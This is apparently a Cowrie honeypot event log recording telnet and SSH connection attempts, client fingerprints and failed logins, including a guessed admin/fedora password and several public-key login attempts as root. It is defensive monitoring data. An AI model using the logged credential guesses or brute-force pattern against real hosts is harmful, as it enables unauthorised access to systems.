{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44806,"dst_ip":"10.17.0.5","dst_port":23,"session":"467ee89194be","protocol":"telnet","message":"New connection: 45.58.127.90:44806 (10.17.0.5:23) [session: 467ee89194be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:31.989737Z"}
{"eventid":"cowrie.session.closed","duration":12.82288146018982,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:36.899338Z","src_ip":"147.182.143.59","session":"31383f844cdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54313349723816,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:37.588628Z","src_ip":"45.58.127.90","session":"1ddcaf10fa70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49652,"dst_ip":"159.203.135.109","dst_port":23,"session":"11b75e217032","protocol":"telnet","message":"New connection: 147.182.143.59:49652 (159.203.135.109:23) [session: 11b75e217032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:53.860489Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42000,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb2e8578988c","protocol":"telnet","message":"New connection: 45.58.127.90:42000 (10.17.0.5:23) [session: cb2e8578988c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:57.334848Z"}
{"eventid":"cowrie.session.closed","duration":37.54632616043091,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:22:58.431682Z","src_ip":"45.58.127.90","session":"4825890f3f1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":65336,"dst_ip":"10.17.0.5","dst_port":22,"session":"e789a093ebb2","protocol":"ssh","message":"New connection: 176.65.132.190:65336 (10.17.0.5:22) [session: e789a093ebb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:01.157907Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:01.162884Z","src_ip":"176.65.132.190","session":"e789a093ebb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7308cfe5b83","protocol":"telnet","message":"New connection: 147.182.143.59:37712 (159.203.135.109:23) [session: f7308cfe5b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:14.612072Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60642,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae42c62ea815","protocol":"telnet","message":"New connection: 45.58.127.90:60642 (10.17.0.5:23) [session: ae42c62ea815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:14.615919Z"}
{"eventid":"cowrie.session.closed","duration":47.047170877456665,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:19.036779Z","src_ip":"45.58.127.90","session":"467ee89194be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.359538078308105,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:31.971507Z","src_ip":"147.182.143.59","session":"f7308cfe5b83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.33733892440796,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:39.672074Z","src_ip":"45.58.127.90","session":"cb2e8578988c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56324,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c0d39131017","protocol":"telnet","message":"New connection: 45.58.127.90:56324 (10.17.0.5:23) [session: 0c0d39131017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:49.596895Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56330,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cf0e497bf4f","protocol":"telnet","message":"New connection: 45.58.127.90:56330 (10.17.0.5:23) [session: 2cf0e497bf4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:51.468113Z"}
{"eventid":"cowrie.session.closed","duration":39.40821290016174,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:54.024042Z","src_ip":"45.58.127.90","session":"ae42c62ea815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.05402493476868,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:23:56.914409Z","src_ip":"147.182.143.59","session":"11b75e217032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.928861141204834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:24:23.525659Z","src_ip":"45.58.127.90","session":"0c0d39131017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46966,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd369d48c5c2","protocol":"telnet","message":"New connection: 45.58.127.90:46966 (10.17.0.5:23) [session: dd369d48c5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:24:31.126626Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46972,"dst_ip":"10.17.0.5","dst_port":23,"session":"98dc2c3ce24e","protocol":"telnet","message":"New connection: 45.58.127.90:46972 (10.17.0.5:23) [session: 98dc2c3ce24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:24:33.080136Z"}
{"eventid":"cowrie.session.closed","duration":44.198243856430054,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:24:35.666234Z","src_ip":"45.58.127.90","session":"2cf0e497bf4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33608,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb67371b534","protocol":"telnet","message":"New connection: 45.58.127.90:33608 (10.17.0.5:23) [session: ceb67371b534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:24:39.382291Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33620,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c45bd741dc","protocol":"telnet","message":"New connection: 45.58.127.90:33620 (10.17.0.5:23) [session: d5c45bd741dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:24:46.838677Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53594,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fa316e0f530","protocol":"telnet","message":"New connection: 45.58.127.90:53594 (10.17.0.5:23) [session: 1fa316e0f530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:24:57.609178Z"}
{"eventid":"cowrie.session.closed","duration":38.183027505874634,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:09.309535Z","src_ip":"45.58.127.90","session":"dd369d48c5c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.5510733127594,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:11.631083Z","src_ip":"45.58.127.90","session":"98dc2c3ce24e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48352,"dst_ip":"159.203.135.109","dst_port":23,"session":"f62e8c486c59","protocol":"telnet","message":"New connection: 147.182.143.59:48352 (159.203.135.109:23) [session: f62e8c486c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:15.012149Z"}
{"eventid":"cowrie.session.closed","duration":39.17448043823242,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:18.556686Z","src_ip":"45.58.127.90","session":"ceb67371b534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.00516724586487,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:24.843753Z","src_ip":"45.58.127.90","session":"d5c45bd741dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.665238857269287,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:25.677269Z","src_ip":"147.182.143.59","session":"f62e8c486c59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":46266,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de067a24937","protocol":"ssh","message":"New connection: 187.230.120.231:46266 (10.17.0.5:22) [session: 4de067a24937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:34.824641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:34.829627Z","src_ip":"187.230.120.231","session":"4de067a24937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:34.942034Z","src_ip":"187.230.120.231","session":"4de067a24937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.52980637550354,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:35.138902Z","src_ip":"45.58.127.90","session":"1fa316e0f530","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fedora","message":"login attempt [admin/fedora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:35.415628Z","src_ip":"187.230.120.231","session":"4de067a24937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55062,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d852a26294f","protocol":"telnet","message":"New connection: 45.58.127.90:55062 (10.17.0.5:23) [session: 9d852a26294f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:36.086733Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:36.527745Z","src_ip":"187.230.120.231","session":"4de067a24937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55074,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cb2df5deffa","protocol":"telnet","message":"New connection: 45.58.127.90:55074 (10.17.0.5:23) [session: 7cb2df5deffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:37.174357Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55086,"dst_ip":"10.17.0.5","dst_port":23,"session":"94d355009bf8","protocol":"telnet","message":"New connection: 45.58.127.90:55086 (10.17.0.5:23) [session: 94d355009bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:37.331592Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.150.48.10","src_port":35476,"dst_ip":"10.17.0.5","dst_port":22,"session":"c45ac65471b1","protocol":"ssh","message":"New connection: 89.150.48.10:35476 (10.17.0.5:22) [session: c45ac65471b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:42.889060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:42.893246Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:42.989765Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:a1:fe:35:3b:41:e7:a1:69:11:95:e7:7b:3b:e7:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Fwh2x15fHkBUqExPnrPq3d5qwkMSsq3bP/It2oHdNFQ6NYxk69iihVEU09uK9ypk/o27wyVAcMipT5Vkar6y6x5EqHilcovc7gvFNK4pm6bJTVa3zCfqEJaZGPz0wMl+Bxui+SlBvC6RQIr7Z8sxKbjbZomnjQueSaDiGFVR5OZepS1T69R50DxT+Vo/1Qqkwg+4RHbDiMC0PaRl86trgXc7C8iItsdXxozAyADfSeFAQZv2TNRsHVRr/KkqZhXQMeEPIB0DJ7Gb92+FABZxOzlaltsDRjD9cApKHRTEMqEivLG5CL7KLO3F6ACZXD4aTpIUKcbdmS24Z6e1SWqyVE/Ra/1jYT9wPQ8HdlX4sPnF+hXvsElZ1uURq1fLnmN4grxDwT1Dmj5K/jQExN8BThhpkCw1QKKmw0+zmLa/wMBEqpr608C8Vu7MqxeuTS/JMbkri2MkcpNF0o17qIhvD8jqzToq4XsFeJ9HyRRso0/WoQXoMGrcjYQWq6V1PRUBYdLrPTEhjGbFt+K6MFkEQNwe/mONdnWRljc1Kutbp0isdwKbzKfeQT/VbJoPGO6d/0HURw4A4Gt6XDhYb5KDPKDv0TAPoE2mrU8EOS53mPGGiMLEpGgZbskW5I9eEgPOX1Bkazdaxl2YZykvZoj8c9hTVaiOkwwTy2SlS5eKIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:a1:fe:35:3b:41:e7:a1:69:11:95:e7:7b:3b:e7:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:43.721576Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:a1:fe:35:3b:41:e7:a1:69:11:95:e7:7b:3b:e7:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Fwh2x15fHkBUqExPnrPq3d5qwkMSsq3bP/It2oHdNFQ6NYxk69iihVEU09uK9ypk/o27wyVAcMipT5Vkar6y6x5EqHilcovc7gvFNK4pm6bJTVa3zCfqEJaZGPz0wMl+Bxui+SlBvC6RQIr7Z8sxKbjbZomnjQueSaDiGFVR5OZepS1T69R50DxT+Vo/1Qqkwg+4RHbDiMC0PaRl86trgXc7C8iItsdXxozAyADfSeFAQZv2TNRsHVRr/KkqZhXQMeEPIB0DJ7Gb92+FABZxOzlaltsDRjD9cApKHRTEMqEivLG5CL7KLO3F6ACZXD4aTpIUKcbdmS24Z6e1SWqyVE/Ra/1jYT9wPQ8HdlX4sPnF+hXvsElZ1uURq1fLnmN4grxDwT1Dmj5K/jQExN8BThhpkCw1QKKmw0+zmLa/wMBEqpr608C8Vu7MqxeuTS/JMbkri2MkcpNF0o17qIhvD8jqzToq4XsFeJ9HyRRso0/WoQXoMGrcjYQWq6V1PRUBYdLrPTEhjGbFt+K6MFkEQNwe/mONdnWRljc1Kutbp0isdwKbzKfeQT/VbJoPGO6d/0HURw4A4Gt6XDhYb5KDPKDv0TAPoE2mrU8EOS53mPGGiMLEpGgZbskW5I9eEgPOX1Bkazdaxl2YZykvZoj8c9hTVaiOkwwTy2SlS5eKIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:43.725566Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:ed:8d:21:61:15:42:07:e3:07:45:b7:9d:4f:f4:3a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAITwa8Gjl7mEEtCwowluQI0OnNgqYVX5sMKeFIH2TWVzrXtTtO5cUUX63o4X7KpzjmpeCeaoZyGLh6knFN9tKZJ0ddvyKlo1cncDCZRhvOQOcdsWbZ5Viq3Uup1SGybV6E6urPd13TdVIxZWgZSDBGdiNJedCuleIZfrHwsZGyhvAAAAFQDptp/W9+O6iBzJTHWfBAmQ1EnbSQAAAIBumEKgmvE8vlEWc77cnF531Tx7z67U4l9FomjMXT3BfRdAiVNowlXboHxkPMbE4SAnzvphd+o4yGzL2bM1oAfjMwxNAFZ4guIq3n0Usd41JD8GmsEKfnkSa/kNX96xdqPUaXO5MQy9YHZiOwOEdAoKz8E/0QUr9DMU07HaVFpIXwAAAIBQH59Zpj90HL5ZYrYSNqF/tDqHoP0dbKo4Ar9w1N0AiFXw8TEKoSFW9/U9ktcPs7AlO+Nm79zjF/FGCOfzM2tqe+Mqqr6DUmStIZK/IriAgwMxwkHVnjaU4ZSneL4Kdggi/DjQ3lfLZILTOyIJhMfRcjqa555jBOjDtidz5/HZnw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint f0:ed:8d:21:61:15:42:07:e3:07:45:b7:9d:4f:f4:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:43.823546Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:ed:8d:21:61:15:42:07:e3:07:45:b7:9d:4f:f4:3a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAITwa8Gjl7mEEtCwowluQI0OnNgqYVX5sMKeFIH2TWVzrXtTtO5cUUX63o4X7KpzjmpeCeaoZyGLh6knFN9tKZJ0ddvyKlo1cncDCZRhvOQOcdsWbZ5Viq3Uup1SGybV6E6urPd13TdVIxZWgZSDBGdiNJedCuleIZfrHwsZGyhvAAAAFQDptp/W9+O6iBzJTHWfBAmQ1EnbSQAAAIBumEKgmvE8vlEWc77cnF531Tx7z67U4l9FomjMXT3BfRdAiVNowlXboHxkPMbE4SAnzvphd+o4yGzL2bM1oAfjMwxNAFZ4guIq3n0Usd41JD8GmsEKfnkSa/kNX96xdqPUaXO5MQy9YHZiOwOEdAoKz8E/0QUr9DMU07HaVFpIXwAAAIBQH59Zpj90HL5ZYrYSNqF/tDqHoP0dbKo4Ar9w1N0AiFXw8TEKoSFW9/U9ktcPs7AlO+Nm79zjF/FGCOfzM2tqe+Mqqr6DUmStIZK/IriAgwMxwkHVnjaU4ZSneL4Kdggi/DjQ3lfLZILTOyIJhMfRcjqa555jBOjDtidz5/HZnw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:43.827303Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:42:2b:80:d3:1b:28:cb:26:74:37:67:d0:4c:3b:fc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPEzk1Bd41OHAaldbp+z/cMGzHolGM9+LIIy75qzNfdDRK2I1xMkS/tJF2jsLzTt4l1V1CcFO2Euk0g0IBU0gF2pb8BnNBHWr8rSEh3ACEJDKaS6CaF0KLNM9bCEdE38svAuIg1v7cvp04LTS/gdcDzS8B0APkHT6IgFifxDLR07AAAAFQDzXMjKE+DvnaziQdrjqqR6Yb0+tQAAAIEA4UspUw19mN8eTuvL5JPXm5i0g09Ojq12BrMBdjjtbc+/k+dW/dDoJf21Uah/NDzycPtczMdnsSsbT5zdv1vv07AVvmP5J1CNRAEJRq4azrMj89w51mu40+7YCruhtpVJwQUZA3vi5qxK/izYecMuXBWV3YMezVAhfxxRFUCcBrcAAACAAab3tLTQuwlQUhBv0IMpSIpPGycXHCvoaLTk74TRCr3SAwfosHLbHtJpK8M024t4Uy+/3CiZZ5YSLVhoMWcTwdUDMd1F60z6Za9g0S/cy/SzLXl+6AP+JFP6U8tSWiXDrsVYlxbczS1RkEUE/buunpnnXq6MhljGUp6i3aRvric=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 00:42:2b:80:d3:1b:28:cb:26:74:37:67:d0:4c:3b:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:43.930391Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:42:2b:80:d3:1b:28:cb:26:74:37:67:d0:4c:3b:fc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPEzk1Bd41OHAaldbp+z/cMGzHolGM9+LIIy75qzNfdDRK2I1xMkS/tJF2jsLzTt4l1V1CcFO2Euk0g0IBU0gF2pb8BnNBHWr8rSEh3ACEJDKaS6CaF0KLNM9bCEdE38svAuIg1v7cvp04LTS/gdcDzS8B0APkHT6IgFifxDLR07AAAAFQDzXMjKE+DvnaziQdrjqqR6Yb0+tQAAAIEA4UspUw19mN8eTuvL5JPXm5i0g09Ojq12BrMBdjjtbc+/k+dW/dDoJf21Uah/NDzycPtczMdnsSsbT5zdv1vv07AVvmP5J1CNRAEJRq4azrMj89w51mu40+7YCruhtpVJwQUZA3vi5qxK/izYecMuXBWV3YMezVAhfxxRFUCcBrcAAACAAab3tLTQuwlQUhBv0IMpSIpPGycXHCvoaLTk74TRCr3SAwfosHLbHtJpK8M024t4Uy+/3CiZZ5YSLVhoMWcTwdUDMd1F60z6Za9g0S/cy/SzLXl+6AP+JFP6U8tSWiXDrsVYlxbczS1RkEUE/buunpnnXq6MhljGUp6i3aRvric=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:25:43.933942Z","src_ip":"89.150.48.10","session":"c45ac65471b1","protocol":"ssh"}
